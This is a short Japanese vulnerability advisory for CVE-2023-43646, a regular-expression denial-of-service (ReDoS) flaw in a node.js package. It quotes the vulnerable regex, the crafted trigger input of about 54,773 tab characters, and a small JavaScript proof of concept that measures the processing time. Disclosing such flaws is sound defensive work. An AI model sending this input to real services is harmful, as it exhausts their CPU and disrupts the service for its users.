CVE-2023-43646
CVSS : 8.6
Sep 26, 2023
node.jsパッケージにおけるReDoS
rebobプロジェクトの一環
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
この脆弱性は、括弧に不均衡がある場合に悪用される可能性があり、過度のバックトラッキングを引き起こし、その結果CPU負荷と処理時間が大幅に増加します。この脆弱性は、以下の入力を使用してトリガーできます:
'\t'.repeat(54773) + '\t/function/i'
問題を示す簡単なPoCコードは次のとおりです:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");